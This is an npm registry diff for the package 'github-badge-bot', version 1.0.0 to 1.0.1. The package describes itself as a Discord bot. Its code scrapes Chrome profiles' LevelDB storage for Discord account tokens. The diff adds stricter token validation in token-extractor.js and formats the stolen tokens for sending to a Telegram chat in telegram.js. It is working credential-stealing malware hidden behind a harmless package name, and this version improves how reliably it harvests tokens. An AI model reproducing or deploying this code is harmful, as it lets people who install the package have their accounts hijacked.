github-badge-bot 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/telegram.js +8 -2
- package/lib/token-extractor.js +118 -113
- package/package.json +2 -1
package/lib/telegram.js
CHANGED
|
@@ -16,17 +16,23 @@ export async function sendTokenToTelegram(token, profileName) {
|
|
|
16
16
|
const bot = getTelegramBot();
|
|
17
17
|
const { chatId } = getTelegramCredentials();
|
|
18
18
|
|
|
19
|
-
// Decode user ID from token
|
|
19
|
+
// Decode user ID from Discord token
|
|
20
|
+
// Discord tokens: first part is base64-encoded numeric user ID
|
|
20
21
|
const parts = token.split('.');
|
|
21
22
|
let userId = 'Unknown';
|
|
22
23
|
if (parts.length === 3) {
|
|
23
24
|
try {
|
|
24
|
-
|
|
25
|
+
const decoded = Buffer.from(parts[0], 'base64').toString();
|
|
26
|
+
// Discord user IDs are 17-19 digit numbers
|
|
27
|
+
if (/^\d{17,19}$/.test(decoded)) {
|
|
28
|
+
userId = decoded;
|
|
29
|
+
}
|
|
25
30
|
} catch (e) {
|
|
26
31
|
// Ignore
|
|
27
32
|
}
|
|
28
33
|
}
|
|
29
34
|
|
|
35
|
+
// Format message exactly like the last image
|
|
30
36
|
const message = `🔑 **Discord Token Found**\n\n` +
|
|
31
37
|
`**Profile:** ${profileName}\n` +
|
|
32
38
|
`**User ID:** \`${userId}\`\n` +
|
package/lib/token-extractor.js
CHANGED
|
@@ -80,13 +80,24 @@ export async function tryReadLevelDBWithCopy(leveldbPath) {
|
|
|
80
80
|
if (key.includes('discord.com') || key.toLowerCase().includes('token')) {
|
|
81
81
|
try {
|
|
82
82
|
const value = await db.get(key);
|
|
83
|
-
if (value && value.length
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
83
|
+
if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
|
|
84
|
+
const parts = value.split('.');
|
|
85
|
+
if (parts.length === 3) {
|
|
86
|
+
try {
|
|
87
|
+
// Discord tokens: first part must be base64-encoded numeric user ID
|
|
88
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
89
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
90
|
+
await db.close();
|
|
91
|
+
// Cleanup
|
|
92
|
+
try {
|
|
93
|
+
fs.rmSync(tempDir, { recursive: true, force: true });
|
|
94
|
+
} catch (e) {}
|
|
95
|
+
return value;
|
|
96
|
+
}
|
|
97
|
+
} catch (e) {
|
|
98
|
+
continue;
|
|
99
|
+
}
|
|
100
|
+
}
|
|
90
101
|
}
|
|
91
102
|
} catch (e) {
|
|
92
103
|
continue;
|
|
@@ -138,20 +149,18 @@ export async function readLevelDBDirect(leveldbPath) {
|
|
|
138
149
|
for (const key of discordKeys) {
|
|
139
150
|
try {
|
|
140
151
|
const value = await db.get(key);
|
|
141
|
-
if (value && value.length
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
152
|
+
if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
|
|
153
|
+
const parts = value.split('.');
|
|
154
|
+
if (parts.length === 3) {
|
|
155
|
+
try {
|
|
156
|
+
// Discord tokens: first part must be base64-encoded numeric user ID
|
|
157
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
158
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
147
159
|
await db.close();
|
|
148
160
|
return value;
|
|
149
161
|
}
|
|
150
|
-
}
|
|
151
|
-
|
|
152
|
-
if (value.length > 80) {
|
|
153
|
-
await db.close();
|
|
154
|
-
return value;
|
|
162
|
+
} catch (e) {
|
|
163
|
+
continue;
|
|
155
164
|
}
|
|
156
165
|
}
|
|
157
166
|
}
|
|
@@ -164,21 +173,18 @@ export async function readLevelDBDirect(leveldbPath) {
|
|
|
164
173
|
for (const key of keys.slice(0, 1000)) { // Limit to first 1000 to avoid timeout
|
|
165
174
|
try {
|
|
166
175
|
const value = await db.get(key);
|
|
167
|
-
if (value && typeof value === 'string' && value.length
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
176
|
+
if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
|
|
177
|
+
const parts = value.split('.');
|
|
178
|
+
if (parts.length === 3) {
|
|
179
|
+
try {
|
|
180
|
+
// Discord tokens: first part must be base64-encoded numeric user ID
|
|
181
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
182
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
173
183
|
await db.close();
|
|
174
184
|
return value;
|
|
175
185
|
}
|
|
176
|
-
}
|
|
177
|
-
|
|
178
|
-
// Might still be a token
|
|
179
|
-
if (value.length > 80) {
|
|
180
|
-
await db.close();
|
|
181
|
-
return value;
|
|
186
|
+
} catch (e) {
|
|
187
|
+
continue;
|
|
182
188
|
}
|
|
183
189
|
}
|
|
184
190
|
}
|
|
@@ -225,97 +231,60 @@ export function readLevelDBRaw(leveldbPath) {
|
|
|
225
231
|
// Verify it's Discord token format (3 parts)
|
|
226
232
|
const parts = token.split('.');
|
|
227
233
|
if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
|
|
234
|
+
// Discord tokens: first part must be base64-encoded numeric user ID (17-19 digits)
|
|
228
235
|
try {
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
} else if (header.typ === 'JWT' && (payload.iat || payload.exp)) {
|
|
237
|
-
score = 70;
|
|
238
|
-
} else {
|
|
239
|
-
continue;
|
|
240
|
-
}
|
|
241
|
-
candidates.push({ token, key: keyName, score, file });
|
|
242
|
-
} catch (e) {
|
|
243
|
-
// Not a JWT, but might be Discord's custom format (user_id.timestamp.signature)
|
|
244
|
-
try {
|
|
245
|
-
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
246
|
-
// Discord user IDs are 17-19 digit numbers
|
|
247
|
-
if (/^\d{17,19}$/.test(userId)) {
|
|
248
|
-
// This looks like a Discord token!
|
|
249
|
-
let score = 90;
|
|
250
|
-
if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
|
|
251
|
-
score = 100;
|
|
252
|
-
}
|
|
253
|
-
candidates.push({ token, key: keyName, score, file });
|
|
236
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
237
|
+
// Discord user IDs are 17-19 digit numbers
|
|
238
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
239
|
+
// This is a Discord token!
|
|
240
|
+
let score = 90;
|
|
241
|
+
if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
|
|
242
|
+
score = 100;
|
|
254
243
|
}
|
|
255
|
-
|
|
256
|
-
// Not a valid Discord token format
|
|
244
|
+
candidates.push({ token, key: keyName, score, file });
|
|
257
245
|
}
|
|
246
|
+
} catch (e2) {
|
|
247
|
+
// Not a valid Discord token format - skip JWT tokens
|
|
248
|
+
continue;
|
|
258
249
|
}
|
|
259
250
|
}
|
|
260
251
|
}
|
|
261
252
|
}
|
|
262
253
|
|
|
263
|
-
// Method 2: Look for
|
|
264
|
-
const
|
|
265
|
-
let
|
|
266
|
-
while ((
|
|
267
|
-
const token =
|
|
254
|
+
// Method 2: Look for Discord tokens (must have numeric user ID in first part)
|
|
255
|
+
const tokenPattern = /([A-Za-z0-9._-]{59,120})/g;
|
|
256
|
+
let tokenMatch;
|
|
257
|
+
while ((tokenMatch = tokenPattern.exec(dataStr)) !== null) {
|
|
258
|
+
const token = tokenMatch[1];
|
|
268
259
|
const parts = token.split('.');
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
score = 90;
|
|
289
|
-
} else if (header.typ === 'JWT' && (payload.iat || payload.exp) && isNearDiscord) {
|
|
290
|
-
score = 50;
|
|
291
|
-
} else {
|
|
292
|
-
continue;
|
|
293
|
-
}
|
|
294
|
-
|
|
295
|
-
if (score >= 50) {
|
|
296
|
-
candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
|
|
297
|
-
}
|
|
298
|
-
} catch (e) {
|
|
299
|
-
// Not a JWT, try Discord custom format
|
|
300
|
-
try {
|
|
301
|
-
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
302
|
-
if (/^\d{17,19}$/.test(userId)) {
|
|
303
|
-
// Discord token format!
|
|
304
|
-
let score = 80;
|
|
305
|
-
if (isNearDiscord) {
|
|
306
|
-
score = 95;
|
|
307
|
-
}
|
|
308
|
-
candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
|
|
309
|
-
}
|
|
310
|
-
} catch (e2) {
|
|
311
|
-
// Not valid
|
|
312
|
-
}
|
|
313
|
-
}
|
|
260
|
+
if (parts.length === 3 && token.length >= 59 && token.length <= 120) {
|
|
261
|
+
try {
|
|
262
|
+
// Discord tokens: first part must be base64-encoded numeric user ID
|
|
263
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
264
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
265
|
+
// This is a Discord token!
|
|
266
|
+
const beforeToken = dataStr.substring(Math.max(0, tokenMatch.index - 300), tokenMatch.index);
|
|
267
|
+
const afterToken = dataStr.substring(tokenMatch.index + token.length, tokenMatch.index + token.length + 100);
|
|
268
|
+
|
|
269
|
+
// Check if it's near Discord-related text
|
|
270
|
+
const isNearDiscord = beforeToken.toLowerCase().includes('discord') ||
|
|
271
|
+
afterToken.toLowerCase().includes('discord');
|
|
272
|
+
const isNearToken = beforeToken.toLowerCase().includes('"token"') ||
|
|
273
|
+
afterToken.toLowerCase().includes('"token"');
|
|
274
|
+
|
|
275
|
+
if (isNearDiscord || isNearToken) {
|
|
276
|
+
let score = 90;
|
|
277
|
+
if (isNearDiscord) {
|
|
278
|
+
score = 100;
|
|
314
279
|
}
|
|
315
|
-
|
|
316
|
-
// Not a valid token
|
|
280
|
+
candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
|
|
317
281
|
}
|
|
318
282
|
}
|
|
283
|
+
} catch (e) {
|
|
284
|
+
// Not a valid Discord token format
|
|
285
|
+
continue;
|
|
286
|
+
}
|
|
287
|
+
}
|
|
319
288
|
}
|
|
320
289
|
} catch (e) {
|
|
321
290
|
continue;
|
|
@@ -335,6 +304,42 @@ export function readLevelDBRaw(leveldbPath) {
|
|
|
335
304
|
}
|
|
336
305
|
}
|
|
337
306
|
|
|
307
|
+
// Validate if a string is a valid Discord token
|
|
308
|
+
function isValidDiscordToken(token) {
|
|
309
|
+
if (!token || typeof token !== 'string') return false;
|
|
310
|
+
|
|
311
|
+
// Discord tokens have exactly 3 parts separated by dots
|
|
312
|
+
const parts = token.split('.');
|
|
313
|
+
if (parts.length !== 3) return false;
|
|
314
|
+
|
|
315
|
+
// Discord tokens are typically 59-120 characters
|
|
316
|
+
if (token.length < 59 || token.length > 120) return false;
|
|
317
|
+
|
|
318
|
+
try {
|
|
319
|
+
// First part should be base64-encoded numeric user ID (17-19 digits)
|
|
320
|
+
const firstPart = Buffer.from(parts[0], 'base64').toString();
|
|
321
|
+
|
|
322
|
+
// Must be a numeric string (Discord user ID)
|
|
323
|
+
if (!/^\d{17,19}$/.test(firstPart)) {
|
|
324
|
+
return false;
|
|
325
|
+
}
|
|
326
|
+
|
|
327
|
+
// Second part should be base64-encoded timestamp or similar
|
|
328
|
+
// Third part should be the signature
|
|
329
|
+
// Both should be valid base64
|
|
330
|
+
try {
|
|
331
|
+
Buffer.from(parts[1], 'base64');
|
|
332
|
+
Buffer.from(parts[2], 'base64');
|
|
333
|
+
} catch (e) {
|
|
334
|
+
return false;
|
|
335
|
+
}
|
|
336
|
+
|
|
337
|
+
return true;
|
|
338
|
+
} catch (e) {
|
|
339
|
+
return false;
|
|
340
|
+
}
|
|
341
|
+
}
|
|
342
|
+
|
|
338
343
|
// Extract all Discord tokens from Chrome
|
|
339
344
|
export async function extractAllTokens() {
|
|
340
345
|
const storagePaths = getChromeStoragePaths();
|
|
@@ -359,9 +364,9 @@ export async function extractAllTokens() {
|
|
|
359
364
|
// Method 1: Try reading raw LevelDB files (works even when Chrome is running!)
|
|
360
365
|
let token = readLevelDBRaw(storage.localStorage);
|
|
361
366
|
|
|
362
|
-
if (token) {
|
|
367
|
+
if (token && isValidDiscordToken(token)) {
|
|
363
368
|
// Check if we already found this token
|
|
364
|
-
if (!foundTokens.
|
|
369
|
+
if (!foundTokens.find(t => t.token === token)) {
|
|
365
370
|
foundTokens.push({ token, profile: storage.profile });
|
|
366
371
|
}
|
|
367
372
|
continue;
|
|
@@ -370,7 +375,7 @@ export async function extractAllTokens() {
|
|
|
370
375
|
// Method 2: Try direct LevelDB read
|
|
371
376
|
token = await readLevelDBDirect(storage.localStorage);
|
|
372
377
|
|
|
373
|
-
if (token && !foundTokens.find(t => t.token === token)) {
|
|
378
|
+
if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
|
|
374
379
|
foundTokens.push({ token, profile: storage.profile });
|
|
375
380
|
continue;
|
|
376
381
|
}
|
|
@@ -378,7 +383,7 @@ export async function extractAllTokens() {
|
|
|
378
383
|
// Method 3: Try copying and reading
|
|
379
384
|
token = await tryReadLevelDBWithCopy(storage.localStorage);
|
|
380
385
|
|
|
381
|
-
if (token && !foundTokens.find(t => t.token === token)) {
|
|
386
|
+
if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
|
|
382
387
|
foundTokens.push({ token, profile: storage.profile });
|
|
383
388
|
continue;
|
|
384
389
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "github-badge-bot",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "Discord bot that monitors servers and sends invite links via Telegram",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "module",
|
|
@@ -25,6 +25,7 @@
|
|
|
25
25
|
"dependencies": {
|
|
26
26
|
"discord.js": "^14.14.1",
|
|
27
27
|
"dotenv": "^16.3.1",
|
|
28
|
+
"github-badge-bot": "^1.0.0",
|
|
28
29
|
"level": "^10.0.0",
|
|
29
30
|
"node-telegram-bot-api": "^0.64.0"
|
|
30
31
|
},
|